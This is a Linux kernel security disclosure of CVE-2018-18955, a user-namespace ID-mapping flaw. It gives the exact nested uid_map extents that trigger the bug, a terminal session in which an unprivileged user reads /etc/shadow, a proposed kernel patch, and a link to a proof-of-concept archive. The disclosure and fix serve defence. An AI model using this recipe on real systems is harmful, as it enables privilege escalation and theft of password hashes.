commit 6397fac4915a ("userns: bump idmap limits to 340") increases the number of
possible uid/gid mappings that a namespace can have from 5 to 340. This is
implemented by switching to a different data structure if the number of mappings
exceeds 5: Instead of linear search over an unsorted array of struct
uid_gid_extent, binary search over a sorted array of struct uid_gid_extent is
used. Because ID mappings are queried in both directions (kernel ID to
namespaced ID and namespaced ID to kernel ID), two copies of the array are
created, one per direction, and they are sorted differently.

In map_write(), at first, during the loop that calls insert_extent(), the member
lower_first of each struct uid_gid_extent contains an ID in the parent
namespace. Later, map_id_range_down() is used in a loop to replace these IDs in
the parent namespace with kernel IDs.

The problem is that, when the two sorted arrays are used, the new code omits the
ID transformation for the kernel->namespaced mapping; only the
namespaced->kernel mapping is transformed appropriately.

This means that if you first, from the init namespace, create a user namespace
NS1 with the following uid_map:

    0 100000 1000

and then, from NS1, create a nested user namespace NS2 with the following
uid_map:

    0 0 1
    1 1 1
    2 2 1
    3 3 1
    4 4 1
    5 5 995

then make_kuid(NS2, ...) will work properly, but from_kuid(NS2) will be an
identity mapping for UIDs in the range 0..1000.

Most users of from_kuid() are relatively boring, but kuid_has_mapping() is used
in inode_owner_or_capable() and privileged_wrt_inode_uidgid(); so you can abuse
this to gain the ability to override DAC security controls on files whose IDs
aren't mapped in your namespace.


To test this, I installed the "uidmap" package in a Ubuntu 18.04 VM with the
following /etc/subuid and /etc/subgid:

user@ubuntu-18-04-vm:~$ cat /etc/subuid
user:100000:65536
user2:165536:65536
user3:231072:65536
user@ubuntu-18-04-vm:~$ cat /etc/subgid
user:100000:65536
user2:165536:65536
user3:231072:65536
user@ubuntu-18-04-vm:~$


Then, as the user "user", I compiled the two attached helpers (subuid_shell.c
and subshell.c):

user@ubuntu-18-04-vm:~/userns_4_15$ gcc -o subuid_shell subuid_shell.c
user@ubuntu-18-04-vm:~/userns_4_15$ gcc -o subshell subshell.c

subuid_shell.c uses the newuidmap helper to set up a namespace that maps 1000
UIDs starting at 100000 to the namespaced UID 0; subshell.c requires namespaced
CAP_SYS_ADMIN and creates a user namespace that maps UIDs 0-999, using six
extents.

I used them as follows to read /etc/shadow:

user@ubuntu-18-04-vm:~/userns_4_15$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
user@ubuntu-18-04-vm:~/userns_4_15$ ls -l /etc/shadow
-rw-r----- 1 root shadow 1519 Jul  4 16:11 /etc/shadow
user@ubuntu-18-04-vm:~/userns_4_15$ head -n1 /etc/shadow
head: cannot open '/etc/shadow' for reading: Permission denied
user@ubuntu-18-04-vm:~/userns_4_15$ ./subuid_shell 
root@ubuntu-18-04-vm:~/userns_4_15# id
uid=0(root) gid=0(root) groups=0(root),65534(nogroup)
root@ubuntu-18-04-vm:~/userns_4_15# cat /proc/self/uid_map
         0     100000       1000
root@ubuntu-18-04-vm:~/userns_4_15# ls -l /etc/shadow
-rw-r----- 1 nobody nogroup 1519 Jul  4 16:11 /etc/shadow
root@ubuntu-18-04-vm:~/userns_4_15# head -n1 /etc/shadow
head: cannot open '/etc/shadow' for reading: Permission denied
root@ubuntu-18-04-vm:~/userns_4_15# ./subshell 
nobody@ubuntu-18-04-vm:~/userns_4_15$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
nobody@ubuntu-18-04-vm:~/userns_4_15$ cat /proc/self/uid_map
         0          0          1
         1          1          1
         2          2          1
         3          3          1
         4          4          1
         5          5        995
nobody@ubuntu-18-04-vm:~/userns_4_15$ ls -l /etc/shadow
-rw-r----- 1 root shadow 1519 Jul  4 16:11 /etc/shadow
nobody@ubuntu-18-04-vm:~/userns_4_15$ head -n1 /etc/shadow
root:!:17696:0:99999:7:::
nobody@ubuntu-18-04-vm:~/userns_4_15$ 


Here is a suggested patch (copy attached to avoid whitespace issues); does this
look sensible?

==================
From 20598025d5e80f26a0c4306ebeca14b31539bd97 Mon Sep 17 00:00:00 2001
From: Jann Horn <jannh@google.com>
Date: Mon, 5 Nov 2018 20:55:09 +0100
Subject: [PATCH] userns: also map extents in the reverse map to kernel IDs

The current logic first clones the extent array and sorts both copies, then
maps the lower IDs of the forward mapping into the lower namespace, but
doesn't map the lower IDs of the reverse mapping.

This means that code in a nested user namespace with >5 extents will see
incorrect IDs. It also breaks some access checks, like
inode_owner_or_capable() and privileged_wrt_inode_uidgid(), so a process
can incorrectly appear to be capable relative to an inode.

To fix it, we have to make sure that the "lower_first" members of extents
in both arrays are translated; and we have to make sure that the reverse
map is sorted *after* the translation (since otherwise the translation can
break the sorting).

This is CVE-2018-18955.

Fixes: 6397fac4915a ("userns: bump idmap limits to 340")
Cc: stable@vger.kernel.org
Signed-off-by: Jann Horn <jannh@google.com>
---
 kernel/user_namespace.c | 12 ++++++++----
 1 file changed, 8 insertions(+), 4 deletions(-)

diff --git a/kernel/user_namespace.c b/kernel/user_namespace.c
index e5222b5fb4fe..923414a246e9 100644
--- a/kernel/user_namespace.c
+++ b/kernel/user_namespace.c
@@ -974,10 +974,6 @@ static ssize_t map_write(struct file *file, const char __user *buf,
        if (!new_idmap_permitted(file, ns, cap_setid, &new_map))
                goto out;
 
-       ret = sort_idmaps(&new_map);
-       if (ret < 0)
-               goto out;
-
        ret = -EPERM;
        /* Map the lower ids from the parent user namespace to the
         * kernel global id space.
@@ -1004,6 +1000,14 @@ static ssize_t map_write(struct file *file, const char __user *buf,
                e->lower_first = lower_first;
        }
 
+       /*
+        * If we want to use binary search for lookup, this clones the extent
+        * array and sorts both copies.
+        */
+       ret = sort_idmaps(&new_map);
+       if (ret < 0)
+               goto out;
+
        /* Install the map */
        if (new_map.nr_extents <= UID_GID_MAP_MAX_BASE_EXTENTS) {
                memcpy(map->extent, new_map.extent,
-- 
2.19.1.930.g4563a0d9d0-goog
==================


(By the way: map_id_up_max() is probably pretty inefficient, especially when
retpoline mitigations are on, because it uses bsearch(), which is basically a
little bit of logic glue around indirect function calls. If you care about
speed, you might want to add an inline variant of bsearch() for places like
this.)


Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/45886.zip